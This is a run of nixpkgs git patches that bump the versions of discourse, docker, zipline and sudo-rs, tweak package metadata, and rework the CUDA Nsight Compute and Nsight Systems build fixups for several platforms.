diff --git a/pkgs/servers/web-apps/discourse/default.nix b/pkgs/servers/web-apps/discourse/default.nix
index 19a2e55bb959..40b79816491d 100644
--- a/pkgs/servers/web-apps/discourse/default.nix
+++ b/pkgs/servers/web-apps/discourse/default.nix
@@ -46,13 +46,13 @@
 }@args:
 
 let
-  version = "3.4.6";
+  version = "3.4.7";
 
   src = fetchFromGitHub {
     owner = "discourse";
     repo = "discourse";
     rev = "v${version}";
-    sha256 = "sha256-HS13jNhSrPo7CHAk2zZEKSt54lBTw1PdMCIJUO0rjLc=";
+    sha256 = "sha256-vidv5aa2r1YOcnvkqrk7ttuIk1bN5Ct7kMANl8kpEm0=";
   };
 
   ruby = ruby_3_3;

From 02cc59c7a93dca88d767e278d6e1456fcb8248c1 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Wed, 30 Jul 2025 20:22:25 +0200
Subject: [PATCH 3195/4511] docker_28: 28.3.2 -> 28.3.3

https://github.com/moby/moby/compare/v28.3.2...v28.3.3
https://github.com/docker/cli/compare/v28.3.2...v28.3.3
(cherry picked from commit dfd250868b82c9b206abbe14fe32893469edb79c)
---
 pkgs/applications/virtualization/docker/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/applications/virtualization/docker/default.nix b/pkgs/applications/virtualization/docker/default.nix
index a75311ffba2f..b020d75ee701 100644
--- a/pkgs/applications/virtualization/docker/default.nix
+++ b/pkgs/applications/virtualization/docker/default.nix
@@ -410,11 +410,11 @@ rec {
   };
 
   docker_28 = callPackage dockerGen rec {
-    version = "28.3.2";
+    version = "28.3.3";
     cliRev = "v${version}";
-    cliHash = "sha256-LsV9roOPw0LccvBUeF3bY014OwG6QpnVsLf+dqKyvsg=";
+    cliHash = "sha256-+nYpd9VGzzMPcBUfGM7V9MkrslYHDSUlE0vhTqDGc1s=";
     mobyRev = "v${version}";
-    mobyHash = "sha256-YfdnCAc9NgLTuvxLHGhTPdWqXz9VSVsQsfzLD3YER3g=";
+    mobyHash = "sha256-3SWjoF4sXVuYxnENq5n6ZzPJx6BQXnyP8VXTQaaUSFA=";
     runcRev = "v1.2.6";
     runcHash = "sha256-XMN+YKdQOQeOLLwvdrC6Si2iAIyyHD5RgZbrOHrQE/g=";
     containerdRev = "v1.7.27";

From a4cc05972fc2c684962167e66fedc0452d4a0557 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Wed, 30 Jul 2025 20:24:20 +0200
Subject: [PATCH 3196/4511] docker_25: 25.0.11 -> 25.0.12

https://github.com/moby/moby/milestone/203?closed=1

Upstream did not tag a new release for docker/cli, and there are no new
commits in the 25.0 branch:
https://github.com/docker/cli/compare/43987fca488a535d810c429f75743d8c7b63bf4f...25.0

https://github.com/moby/moby/compare/v25.0.11...v25.0.12
(cherry picked from commit ff6b64f296fabba00e6d53c0b5c0dacd7f53acda)
---
 pkgs/applications/virtualization/docker/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/virtualization/docker/default.nix b/pkgs/applications/virtualization/docker/default.nix
index b020d75ee701..54ef1ebb91e0 100644
--- a/pkgs/applications/virtualization/docker/default.nix
+++ b/pkgs/applications/virtualization/docker/default.nix
@@ -366,13 +366,13 @@ rec {
   # Get revisions from
   # https://github.com/moby/moby/tree/${version}/hack/dockerfile/install/*
   docker_25 = callPackage dockerGen rec {
-    version = "25.0.11";
+    version = "25.0.12";
     # Upstream forgot to tag release
     # https://github.com/docker/cli/issues/5789
     cliRev = "43987fca488a535d810c429f75743d8c7b63bf4f";
     cliHash = "sha256-OwufdfuUPbPtgqfPeiKrQVkOOacU2g4ommHb770gV40=";
     mobyRev = "v${version}";
-    mobyHash = "sha256-vHHi0/sX9fm83gyUjDpRYTGV9h18IVia1oSmj4n31nc=";
+    mobyHash = "sha256-EBOdbFP6UBK1uhXi1IzcPxYihHikuzzwMvv2NHsksYk=";
     runcRev = "v1.2.5";
     runcHash = "sha256-J/QmOZxYnMPpzm87HhPTkYdt+fN+yeSUu2sv6aUeTY4=";
     containerdRev = "v1.7.27";

From 4a76f1735ec3130ee495520c26a0aacae0b1dceb Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Mon, 21 Jul 2025 16:46:55 +0200
Subject: [PATCH 3197/4511] zipline: add meta.downloadPage

(cherry picked from commit 9c249cf00b2c4ff09904c86e2b0d574864653142)
---
 pkgs/by-name/zi/zipline/package.nix | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/zi/zipline/package.nix b/pkgs/by-name/zi/zipline/package.nix
index fb9d95826bfd..c0228fd13e14 100644
--- a/pkgs/by-name/zi/zipline/package.nix
+++ b/pkgs/by-name/zi/zipline/package.nix
@@ -117,8 +117,9 @@ stdenv.mkDerivation (finalAttrs: {
 
   meta = {
     description = "ShareX/file upload server that is easy to use, packed with features, and with an easy setup";
-    changelog = "https://github.com/diced/zipline/releases/tag/v${finalAttrs.version}";
     homepage = "https://zipline.diced.sh/";
+    downloadPage = "https://github.com/diced/zipline";
+    changelog = "https://github.com/diced/zipline/releases/tag/v${finalAttrs.version}";
     license = lib.licenses.mit;
     maintainers = with lib.maintainers; [ defelo ];
     mainProgram = "zipline";

From b21d366875a987f0753ab19f48385a566c1203ea Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Tue, 29 Jul 2025 13:33:09 +0000
Subject: [PATCH 3198/4511] zipline: 4.2.0 -> 4.2.1

Changelog: https://github.com/diced/zipline/releases/tag/v4.2.1
Diff: https://github.com/diced/zipline/compare/v4.2.0...v4.2.1
(cherry picked from commit 6087625ade5740b32785d3467332a5d93a64de64)
---
 pkgs/by-name/zi/zipline/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/zi/zipline/package.nix b/pkgs/by-name/zi/zipline/package.nix
index c0228fd13e14..da66d9b9bc8f 100644
--- a/pkgs/by-name/zi/zipline/package.nix
+++ b/pkgs/by-name/zi/zipline/package.nix
@@ -32,13 +32,13 @@ in
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "zipline";
-  version = "4.2.0";
+  version = "4.2.1";
 
   src = fetchFromGitHub {
     owner = "diced";
     repo = "zipline";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-zm2xNhWghg/Pa9LhLzV+AG/tfiSjAiSnGs8OMnC0Tpw=";
+    hash = "sha256-tNI+iiutziSfymNwEJEcR74E9/t817LOIE517hmNy9I=";
   };
 
   pnpmDeps = pnpm_10.fetchDeps {

From 17943bb11c25f776e2801cdcf3a0df72ed35ade8 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Wed, 30 Jul 2025 21:05:15 +0200
Subject: [PATCH 3199/4511] zipline: set git sha

(cherry picked from commit ec82ddc977dc3121e7fc601af1b90838375f6e14)
---
 pkgs/by-name/zi/zipline/package.nix | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/zi/zipline/package.nix b/pkgs/by-name/zi/zipline/package.nix
index da66d9b9bc8f..dbc471813148 100644
--- a/pkgs/by-name/zi/zipline/package.nix
+++ b/pkgs/by-name/zi/zipline/package.nix
@@ -38,7 +38,12 @@ stdenv.mkDerivation (finalAttrs: {
     owner = "diced";
     repo = "zipline";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-tNI+iiutziSfymNwEJEcR74E9/t817LOIE517hmNy9I=";
+    hash = "sha256-16D44QQHrXn6y+3IRsWh6iHSr+o4l3zHDW7SOFMsHnc=";
+    leaveDotGit = true;
+    postFetch = ''
+      git -C $out rev-parse --short HEAD > $out/.git_head
+      rm -rf $out/.git
+    '';
   };
 
   pnpmDeps = pnpm_10.fetchDeps {
@@ -88,6 +93,7 @@ stdenv.mkDerivation (finalAttrs: {
       makeWrapper ${lib.getExe nodejs_24} "$out/bin/$1" \
         --chdir "$out/share/zipline" \
         --set NODE_ENV production \
+        --set ZIPLINE_GIT_SHA "$(<$src/.git_head)" \
         --prefix PATH : ${lib.makeBinPath [ openssl ]} \
         --prefix LD_LIBRARY_PATH : ${lib.makeLibraryPath [ openssl ]} \
         ${

From 936bb69e21f7ace61d9d797c29b11f1f029e469e Mon Sep 17 00:00:00 2001
From: DontEatOreo <57304299+DontEatOreo@users.noreply.github.com>
Date: Mon, 4 Aug 2025 18:24:11 +0300
Subject: [PATCH 3200/4511] arc-browser: drop `donteatoreo` from maintainers

(cherry picked from commit 0c34cdb87dcf0cef93c4c6101b1691e3743221a0)
---
 pkgs/by-name/ar/arc-browser/package.nix | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/ar/arc-browser/package.nix b/pkgs/by-name/ar/arc-browser/package.nix
index 81aed72728b6..35d609920f94 100644
--- a/pkgs/by-name/ar/arc-browser/package.nix
+++ b/pkgs/by-name/ar/arc-browser/package.nix
@@ -55,7 +55,8 @@ stdenvNoCC.mkDerivation (finalAttrs: {
     description = "Arc from The Browser Company";
     homepage = "https://arc.net/";
     license = lib.licenses.unfree;
-    maintainers = with lib.maintainers; [ donteatoreo ];
+    maintainers = with lib.maintainers; [ ];
+    knownVulnerabilities = [ "unmaintained" ];
     platforms = [
       "aarch64-darwin"
       "x86_64-darwin"

From 09fe6f80caf4dfa86bcfba6f44630342a459e699 Mon Sep 17 00:00:00 2001
From: dramforever <dramforever@live.com>
Date: Wed, 30 Jul 2025 04:59:07 +0800
Subject: [PATCH 3201/4511] linux-manual: Handle scripts/kernel-doc.py

Upstream switched the script to Python in 6.16, so handle that.

(cherry picked from commit 40d78d58e3f6e3ee382e97f67dbb893a29d5aa68)
---
 pkgs/by-name/li/linux-manual/package.nix | 11 +++++++++--
 1 file changed, 9 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/li/linux-manual/package.nix b/pkgs/by-name/li/linux-manual/package.nix
index 62111043d782..d16ed1c9e82f 100644
--- a/pkgs/by-name/li/linux-manual/package.nix
+++ b/pkgs/by-name/li/linux-manual/package.nix
@@ -3,6 +3,7 @@
   stdenv,
   linuxPackages_latest,
   perl,
+  python3,
   man,
 }:
 
@@ -10,7 +11,10 @@ stdenv.mkDerivation {
   pname = "linux-manual";
   inherit (linuxPackages_latest.kernel) version src;
 
-  nativeBuildInputs = [ perl ];
+  nativeBuildInputs = [
+    perl
+    python3
+  ];
   nativeInstallCheckInputs = [ man ];
 
   dontConfigure = true;
@@ -18,8 +22,11 @@ stdenv.mkDerivation {
   doInstallCheck = true;
 
   postPatch = ''
+    # Use scripts/kernel-doc.py here, not scripts/kernel-doc because
+    # patchShebangs skips symlinks
+
     patchShebangs --build \
-      scripts/kernel-doc \
+      scripts/kernel-doc.py \
       scripts/split-man.pl
   '';
 

From 5e60eed2853eb785db58550bf113d3fc2d0175a5 Mon Sep 17 00:00:00 2001
From: Connor Baker <ConnorBaker01@gmail.com>
Date: Mon, 4 Aug 2025 02:22:39 +0000
Subject: [PATCH 3202/4511] cudaPackages.nsight_compute: fixup for x86_64-linux

Signed-off-by: Connor Baker <ConnorBaker01@gmail.com>
(cherry picked from commit a5b920f455a7f9380e152f9c3589e788286c4a8c)
---
 .../_cuda/fixups/nsight_compute.nix           | 42 +++++++++++++++----
 1 file changed, 35 insertions(+), 7 deletions(-)

diff --git a/pkgs/development/cuda-modules/_cuda/fixups/nsight_compute.nix b/pkgs/development/cuda-modules/_cuda/fixups/nsight_compute.nix
index 584893f54c24..a6fffb4b4518 100644
--- a/pkgs/development/cuda-modules/_cuda/fixups/nsight_compute.nix
+++ b/pkgs/development/cuda-modules/_cuda/fixups/nsight_compute.nix
@@ -1,9 +1,16 @@
 {
+  cudaAtLeast,
+  cudaMajorMinorVersion,
+  cudaOlder,
+  e2fsprogs,
+  elfutils,
+  gst_all_1,
   lib,
   qt5 ? null,
   qt6 ? null,
   rdma-core,
   stdenv,
+  ucx,
 }:
 prevAttrs:
 let
@@ -24,15 +31,36 @@ let
     .${stdenv.hostPlatform.system} or (throw "Unsupported system: ${stdenv.hostPlatform.system}");
 in
 {
+  outputs = [ "out" ]; # NOTE(@connorbaker): Force a single output so relative lookups work.
   nativeBuildInputs = prevAttrs.nativeBuildInputs or [ ] ++ [ wrapQtAppsHook ];
-  buildInputs = prevAttrs.buildInputs or [ ] ++ [
-    qtwayland
-    qtwebview
-    (qt.qtwebengine or qt.full)
-    rdma-core
-  ];
+  buildInputs =
+    prevAttrs.buildInputs or [ ]
+    ++ [
+      qtwayland
+      qtwebview
+      (qt6.qtwebengine or qt6.full)
+      rdma-core
+    ]
+    ++ lib.optionals (cudaAtLeast "12.1" && cudaOlder "12.4") [
+      gst_all_1.gstreamer
+      gst_all_1.gst-plugins-base
+    ]
+    ++ lib.optionals (cudaAtLeast "12.0" && cudaOlder "12.7") [
+      e2fsprogs
+      ucx
+    ]
+    ++ lib.optionals (cudaMajorMinorVersion == "12.9") [
+      elfutils
+    ];
   dontWrapQtApps = true;
   preInstall = prevAttrs.preInstall or "" + ''
+    if [[ -d nsight-compute ]]; then
+      nixLog "Lifting components of Nsight Compute to the top level"
+      mv -v nsight-compute/*/* .
+      nixLog "Removing empty directories"
+      rmdir -pv nsight-compute/*
+    fi
+
     rm -rf host/${archDir}/Mesa/
   '';
   postInstall = prevAttrs.postInstall or "" + ''
@@ -42,8 +70,8 @@ in
     moveToOutput 'target/${archDir}' "''${!outputBin}/bin"
     wrapQtApp "''${!outputBin}/bin/host/${archDir}/ncu-ui.bin"
   '';
+  # lib needs libtiff.so.5, but nixpkgs provides libtiff.so.6
   preFixup = prevAttrs.preFixup or "" + ''
-    # lib needs libtiff.so.5, but nixpkgs provides libtiff.so.6
     patchelf --replace-needed libtiff.so.5 libtiff.so "''${!outputBin}/bin/host/${archDir}/Plugins/imageformats/libqtiff.so"
   '';
   autoPatchelfIgnoreMissingDeps = prevAttrs.autoPatchelfIgnoreMissingDeps or [ ] ++ [

From e7db916a8ab7bb5fff49eb0824419bb17828ef94 Mon Sep 17 00:00:00 2001
From: SomeoneSerge <else@someonex.net>
Date: Tue, 13 May 2025 15:53:02 +0000
Subject: [PATCH 3203/4511] 
 cudaPackages_11_0.autoAddCudaCompatRunpath.libcudaPath: fix the eval

(cherry picked from commit 6a84a15c869a886517bd8320b4e2ba91a3c5adcd)
---
 pkgs/top-level/cuda-packages.nix | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/pkgs/top-level/cuda-packages.nix b/pkgs/top-level/cuda-packages.nix
index 8db2f74d09f3..464912d7092a 100644
--- a/pkgs/top-level/cuda-packages.nix
+++ b/pkgs/top-level/cuda-packages.nix
@@ -27,6 +27,7 @@
   lib,
   pkgs,
   stdenv,
+  runCommand,
 }:
 let
   inherit (lib)
@@ -171,7 +172,10 @@ let
     [
       (
         final: _:
-        lib.packagesFromDirectoryRecursive {
+        {
+          cuda_compat = runCommand "cuda_compat" { meta.platforms = [ ]; } "false"; # Prevent missing attribute errors
+        }
+        // lib.packagesFromDirectoryRecursive {
           inherit (final) callPackage;
           directory = ../development/cuda-modules/packages;
         }

From 3605d2cb0ae52698e891f071c3c248e117da5062 Mon Sep 17 00:00:00 2001
From: Connor Baker <ConnorBaker01@gmail.com>
Date: Mon, 4 Aug 2025 07:25:20 +0000
Subject: [PATCH 3204/4511] top-level/cuda-packages.nix: note Jetson is
 unsupported by redist for CUDA 12.3

Signed-off-by: Connor Baker <ConnorBaker01@gmail.com>
(cherry picked from commit 2714ae347a85790961cd8e9b7241909e107590be)
---
 pkgs/top-level/cuda-packages.nix | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/pkgs/top-level/cuda-packages.nix b/pkgs/top-level/cuda-packages.nix
index 464912d7092a..a033057e3303 100644
--- a/pkgs/top-level/cuda-packages.nix
+++ b/pkgs/top-level/cuda-packages.nix
@@ -173,7 +173,11 @@ let
       (
         final: _:
         {
-          cuda_compat = runCommand "cuda_compat" { meta.platforms = [ ]; } "false"; # Prevent missing attribute errors
+          # Prevent missing attribute errors
+          # NOTE(@connorbaker): CUDA 12.3 does not have a cuda_compat package; indeed, none of the release supports
+          # Jetson devices. To avoid errors in the case that cuda_compat is not defined, we have a dummy package which
+          # is always defined, but does nothing, will not build successfully, and has no platforms.
+          cuda_compat = runCommand "cuda_compat" { meta.platforms = [ ]; } "false";
         }
         // lib.packagesFromDirectoryRecursive {
           inherit (final) callPackage;

From 6cad436bba337a4a773aef5d6a0f82476cd61f51 Mon Sep 17 00:00:00 2001
From: Connor Baker <ConnorBaker01@gmail.com>
Date: Mon, 4 Aug 2025 07:25:52 +0000
Subject: [PATCH 3205/4511] cudaPackages.nsight_compute: fixup for Jetson
 aarch64-linux

Signed-off-by: Connor Baker <ConnorBaker01@gmail.com>
(cherry picked from commit 23ebc9a109ce2b87a1c6580135969f36104528d4)
---
 .../_cuda/fixups/nsight_compute.nix           | 38 +++++++++++++++----
 1 file changed, 30 insertions(+), 8 deletions(-)

diff --git a/pkgs/development/cuda-modules/_cuda/fixups/nsight_compute.nix b/pkgs/development/cuda-modules/_cuda/fixups/nsight_compute.nix
index a6fffb4b4518..eb800b47da0d 100644
--- a/pkgs/development/cuda-modules/_cuda/fixups/nsight_compute.nix
+++ b/pkgs/development/cuda-modules/_cuda/fixups/nsight_compute.nix
@@ -4,8 +4,10 @@
   cudaOlder,
   e2fsprogs,
   elfutils,
+  flags,
   gst_all_1,
   lib,
+  libjpeg8,
   qt5 ? null,
   qt6 ? null,
   rdma-core,
@@ -25,7 +27,8 @@ let
   inherit (qt) wrapQtAppsHook qtwebview;
   archDir =
     {
-      aarch64-linux = "linux-desktop-t210-a64";
+      aarch64-linux =
+        "linux-" + (if flags.isJetsonBuild then "v4l_l4t" else "linux-desktop") + "-t210-a64";
       x86_64-linux = "linux-desktop-glibc_2_11_3-x64";
     }
     .${stdenv.hostPlatform.system} or (throw "Unsupported system: ${stdenv.hostPlatform.system}");
@@ -41,6 +44,9 @@ in
       (qt6.qtwebengine or qt6.full)
       rdma-core
     ]
+    ++ lib.optionals (cudaMajorMinorVersion == "12.0" && flags.isJetsonBuild) [
+      libjpeg8
+    ]
     ++ lib.optionals (cudaAtLeast "12.1" && cudaOlder "12.4") [
       gst_all_1.gstreamer
       gst_all_1.gst-plugins-base
@@ -63,13 +69,24 @@ in
 
     rm -rf host/${archDir}/Mesa/
   '';
-  postInstall = prevAttrs.postInstall or "" + ''
-    moveToOutput 'ncu' "''${!outputBin}/bin"
-    moveToOutput 'ncu-ui' "''${!outputBin}/bin"
-    moveToOutput 'host/${archDir}' "''${!outputBin}/bin"
-    moveToOutput 'target/${archDir}' "''${!outputBin}/bin"
-    wrapQtApp "''${!outputBin}/bin/host/${archDir}/ncu-ui.bin"
-  '';
+  postInstall =
+    prevAttrs.postInstall or ""
+    + ''
+      moveToOutput 'ncu' "''${!outputBin}/bin"
+      moveToOutput 'ncu-ui' "''${!outputBin}/bin"
+      moveToOutput 'host/${archDir}' "''${!outputBin}/bin"
+      moveToOutput 'target/${archDir}' "''${!outputBin}/bin"
+      wrapQtApp "''${!outputBin}/bin/host/${archDir}/ncu-ui.bin"
+    ''
+    # NOTE(@connorbaker): No idea what this platform is or how to patchelf for it.
+    + lib.optionalString (flags.isJetsonBuild && cudaAtLeast "11.8" && cudaOlder "12.9") ''
+      nixLog "Removing QNX 700 target directory for Jetson builds"
+      rm -rfv "''${!outputBin}/target/qnx-700-t210-a64"
+    ''
+    + lib.optionalString (flags.isJetsonBuild && cudaAtLeast "12.8") ''
+      nixLog "Removing QNX 800 target directory for Jetson builds"
+      rm -rfv "''${!outputBin}/target/qnx-800-tegra-a64"
+    '';
   # lib needs libtiff.so.5, but nixpkgs provides libtiff.so.6
   preFixup = prevAttrs.preFixup or "" + ''
     patchelf --replace-needed libtiff.so.5 libtiff.so "''${!outputBin}/bin/host/${archDir}/Plugins/imageformats/libqtiff.so"
@@ -81,4 +98,9 @@ in
     "Qt 5 missing (<2022.2.0)" = !(versionOlder version "2022.2.0" -> qt5 != null);
     "Qt 6 missing (>=2022.2.0)" = !(versionAtLeast version "2022.2.0" -> qt6 != null);
   };
+  # NOTE(@connorbaker): It might be a problem that when nsight_compute contains hosts and targets of different
+  # architectures, that we patchelf just the binaries matching the builder's platform; autoPatchelfHook prints
+  # messages like
+  #   skipping [$out]/host/linux-desktop-glibc_2_11_3-x64/libQt6Core.so.6 because its architecture (x64) differs from
+  #   target (AArch64)
 }

From ae8258de8aeac116e1db798d2099833ee5778953 Mon Sep 17 00:00:00 2001
From: Connor Baker <ConnorBaker01@gmail.com>
Date: Mon, 4 Aug 2025 09:32:17 -0700
Subject: [PATCH 3206/4511] cudaPackages.nsight_compute: fixup for SBSA
 aarch64-linux

Signed-off-by: Connor Baker <ConnorBaker01@gmail.com>
(cherry picked from commit 542236f51bdad76be62081e77add577da29f4e8e)
---
 .../development/cuda-modules/_cuda/fixups/nsight_compute.nix | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/pkgs/development/cuda-modules/_cuda/fixups/nsight_compute.nix b/pkgs/development/cuda-modules/_cuda/fixups/nsight_compute.nix
index eb800b47da0d..2a1620daea8a 100644
--- a/pkgs/development/cuda-modules/_cuda/fixups/nsight_compute.nix
+++ b/pkgs/development/cuda-modules/_cuda/fixups/nsight_compute.nix
@@ -27,8 +27,7 @@ let
   inherit (qt) wrapQtAppsHook qtwebview;
   archDir =
     {
-      aarch64-linux =
-        "linux-" + (if flags.isJetsonBuild then "v4l_l4t" else "linux-desktop") + "-t210-a64";
+      aarch64-linux = "linux-" + (if flags.isJetsonBuild then "v4l_l4t" else "desktop") + "-t210-a64";
       x86_64-linux = "linux-desktop-glibc_2_11_3-x64";
     }
     .${stdenv.hostPlatform.system} or (throw "Unsupported system: ${stdenv.hostPlatform.system}");
@@ -44,7 +43,7 @@ in
       (qt6.qtwebengine or qt6.full)
       rdma-core
     ]
-    ++ lib.optionals (cudaMajorMinorVersion == "12.0" && flags.isJetsonBuild) [
+    ++ lib.optionals (cudaMajorMinorVersion == "12.0" && stdenv.hostPlatform.isAarch64) [
       libjpeg8
     ]
     ++ lib.optionals (cudaAtLeast "12.1" && cudaOlder "12.4") [

From 14636cb1163df50e6e366743eca092df18b1ebff Mon Sep 17 00:00:00 2001
From: Connor Baker <ConnorBaker01@gmail.com>
Date: Mon, 4 Aug 2025 10:55:17 -0700
Subject: [PATCH 3207/4511] cudaPackages.nsight_systems: fixup for SBSA
 aarch64-linux and x86_64-linux

Signed-off-by: Connor Baker <ConnorBaker01@gmail.com>
(cherry picked from commit b21e0a58d3f628e0ee446b2887fced278071e5f9)
---
 .../_cuda/fixups/nsight_systems.nix           | 128 +++++++++++-------
 1 file changed, 78 insertions(+), 50 deletions(-)

diff --git a/pkgs/development/cuda-modules/_cuda/fixups/nsight_systems.nix b/pkgs/development/cuda-modules/_cuda/fixups/nsight_systems.nix
index 9040dc36a21d..7ace96366b5f 100644
--- a/pkgs/development/cuda-modules/_cuda/fixups/nsight_systems.nix
+++ b/pkgs/development/cuda-modules/_cuda/fixups/nsight_systems.nix
@@ -1,6 +1,7 @@
 {
   boost178,
   cuda_cudart,
+  cudaAtLeast,
   cudaOlder,
   e2fsprogs,
   gst_all_1,
@@ -27,6 +28,7 @@ let
     else
       lib.getLib qt.qtwayland;
   qtWaylandPlugins = "${qtwayland}/${qt.qtbase.qtPluginPrefix}";
+  # NOTE(@connorbaker): nsight_systems doesn't support Jetson, so no need for case splitting on aarch64-linux.
   hostDir =
     {
       aarch64-linux = "host-linux-armv8";
@@ -39,76 +41,102 @@ let
       x86_64-linux = "target-linux-x64";
     }
     .${stdenv.hostPlatform.system} or (throw "Unsupported system: ${stdenv.hostPlatform.system}");
-  versionString = with lib.versions; "${majorMinor version}.${patch version}";
 in
 {
+  outputs = [ "out" ]; # NOTE(@connorbaker): Force a single output so relative lookups work.
+
   # An ad hoc replacement for
   # https://github.com/ConnorBaker/cuda-redist-find-features/issues/11
   env = prevAttrs.env or { } // {
     rmPatterns =
       prevAttrs.env.rmPatterns or ""
       + toString [
-        "nsight-systems/${versionString}/${hostDir}/lib{arrow,jpeg}*"
-        "nsight-systems/${versionString}/${hostDir}/lib{ssl,ssh,crypto}*"
-        "nsight-systems/${versionString}/${hostDir}/libboost*"
-        "nsight-systems/${versionString}/${hostDir}/libexec"
-        "nsight-systems/${versionString}/${hostDir}/libstdc*"
-        "nsight-systems/${versionString}/${hostDir}/python/bin/python"
-        "nsight-systems/${versionString}/${hostDir}/Mesa"
+        "${hostDir}/lib{arrow,jpeg}*"
+        "${hostDir}/lib{ssl,ssh,crypto}*"
+        "${hostDir}/libboost*"
+        "${hostDir}/libexec"
+        "${hostDir}/libstdc*"
+        "${hostDir}/python/bin/python"
+        "${hostDir}/Mesa"
       ];
   };
+
+  # NOTE(@connorbaker): nsight-exporter and nsight-sys are deprecated scripts wrapping nsys, it's fine to remove them.
+  prePatch = prevAttrs.prePatch or "" + ''
+    if [[ -d bin ]]; then
+      nixLog "Removing bin wrapper scripts"
+      for knownWrapper in bin/{nsys{,-ui},nsight-{exporter,sys}}; do
+        [[ -e $knownWrapper ]] && rm -v "$knownWrapper"
+      done
+      unset -v knownWrapper
+
+      nixLog "Removing empty bin directory"
+      rmdir -v bin
+    fi
+
+    if [[ -d nsight-systems ]]; then
+      nixLog "Lifting components of Nsight System to the top level"
+      mv -v nsight-systems/*/* .
+      nixLog "Removing empty nsight-systems directory"
+      rmdir -pv nsight-systems/*
+    fi
+  '';
+
   postPatch = prevAttrs.postPatch or "" + ''
     for path in $rmPatterns; do
       rm -r "$path"
     done
     patchShebangs nsight-systems
   '';
-  nativeBuildInputs = prevAttrs.nativeBuildInputs or [ ] ++ [ qt.wrapQtAppsHook ];
+
+  nativeBuildInputs = prevAttrs.nativeBuildInputs or [ ] ++ [ qt6.wrapQtAppsHook ];
+
   dontWrapQtApps = true;
-  buildInputs = prevAttrs.buildInputs or [ ] ++ [
-    (qt.qtdeclarative or qt.full)
-    (qt.qtsvg or qt.full)
-    (qt.qtimageformats or qt.full)
-    (qt.qtpositioning or qt.full)
-    (qt.qtscxml or qt.full)
-    (qt.qttools or qt.full)
-    (qt.qtwebengine or qt.full)
-    (qt.qtwayland or qt.full)
-    boost178
-    cuda_cudart.stubs
-    e2fsprogs
-    gst_all_1.gst-plugins-base
-    gst_all_1.gstreamer
-    nss
-    numactl
-    pulseaudio
-    qt.qtbase
-    qtWaylandPlugins
-    rdma-core
-    ucx
-    wayland
-    xorg.libXcursor
-    xorg.libXdamage
-    xorg.libXrandr
-    xorg.libXtst
-  ];
 
-  postInstall =
-    prevAttrs.postInstall or ""
-    # 1. Move dependencies of nsys, nsys-ui binaries to bin output
-    # 2. Fix paths in wrapper scripts
-    + ''
-      moveToOutput 'nsight-systems/${versionString}/${hostDir}' "''${!outputBin}"
-      moveToOutput 'nsight-systems/${versionString}/${targetDir}' "''${!outputBin}"
-      moveToOutput 'nsight-systems/${versionString}/bin' "''${!outputBin}"
-      substituteInPlace $bin/bin/nsys $bin/bin/nsys-ui \
-        --replace-fail 'nsight-systems-#VERSION_RSPLIT#' nsight-systems/${versionString}
-      wrapQtApp "$bin/nsight-systems/${versionString}/${hostDir}/nsys-ui.bin"
-    '';
+  buildInputs =
+    prevAttrs.buildInputs or [ ]
+    ++ [
+      (qt6.qtdeclarative or qt6.full)
+      (qt6.qtsvg or qt6.full)
+      (qt6.qtimageformats or qt6.full)
+      (qt6.qtpositioning or qt6.full)
+      (qt6.qtscxml or qt6.full)
+      (qt6.qttools or qt6.full)
+      (qt6.qtwebengine or qt6.full)
+      (qt6.qtwayland or qt6.full)
+      boost178
+      cuda_cudart.stubs
+      e2fsprogs
+      gst_all_1.gst-plugins-base
+      gst_all_1.gstreamer
+      nss
+      numactl
+      pulseaudio
+      qt6.qtbase
+      qtWaylandPlugins
+      rdma-core
+      ucx
+      wayland
+      xorg.libXcursor
+      xorg.libXdamage
+      xorg.libXrandr
+      xorg.libXtst
+    ]
+    # NOTE(@connorbaker): Seems to be required only for aarch64-linux.
+    ++ lib.optionals (stdenv.hostPlatform.isAarch64 && cudaAtLeast "11.8") [
+      gst_all_1.gst-plugins-bad
+    ];
 
+  postInstall = prevAttrs.postInstall or "" + ''
+    moveToOutput '${hostDir}' "''${!outputBin}"
+    moveToOutput '${targetDir}' "''${!outputBin}"
+    moveToOutput 'bin' "''${!outputBin}"
+    wrapQtApp "''${!outputBin}/${hostDir}/nsys-ui.bin"
+  '';
+
+  # lib needs libtiff.so.5, but nixpkgs provides libtiff.so.6
   preFixup = prevAttrs.preFixup or "" + ''
-    # lib needs libtiff.so.5, but nixpkgs provides libtiff.so.6
-    patchelf --replace-needed libtiff.so.5 libtiff.so $bin/nsight-systems/${versionString}/${hostDir}/Plugins/imageformats/libqtiff.so
+    patchelf --replace-needed libtiff.so.5 libtiff.so "''${!outputBin}/${hostDir}/Plugins/imageformats/libqtiff.so"
   '';
 
   autoPatchelfIgnoreMissingDeps = prevAttrs.autoPatchelfIgnoreMissingDeps or [ ] ++ [

From ea4e8de1fef6213e5c5f3c4b83eddd0829e1dca3 Mon Sep 17 00:00:00 2001
From: r-vdp <ramses@well-founded.dev>
Date: Mon, 4 Aug 2025 10:31:38 +0000
Subject: [PATCH 3208/4511] sudo-rs: 0.2.7 -> 0.2.8

(cherry picked from commit 8c637141da3eeff32a07b0bb8d707ca83aa70d40)
---
 pkgs/by-name/su/sudo-rs/package.nix | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

